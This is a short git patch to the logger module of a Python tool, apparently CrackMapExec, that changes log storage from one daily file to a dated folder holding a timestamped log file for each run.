76/76] save command into multiple log files --- cme/logger.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/cme/logger.py b/cme/logger.py index 140403cb..d7a98168 100755 --- a/cme/logger.py +++ b/cme/logger.py @@ -180,10 +180,14 @@ class CMEAdapter(logging.LoggerAdapter): @staticmethod def init_log_file(): + newpath = os.path.expanduser("~/.cme") + "/logs/" + datetime.now().strftime('%Y-%m-%d') + if not os.path.exists(newpath): + os.makedirs(newpath) log_filename = os.path.join( os.path.expanduser("~/.cme"), "logs", - f"full-log_{datetime.now().strftime('%Y-%m-%d')}.log", + datetime.now().strftime('%Y-%m-%d'), + f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log", ) return log_filename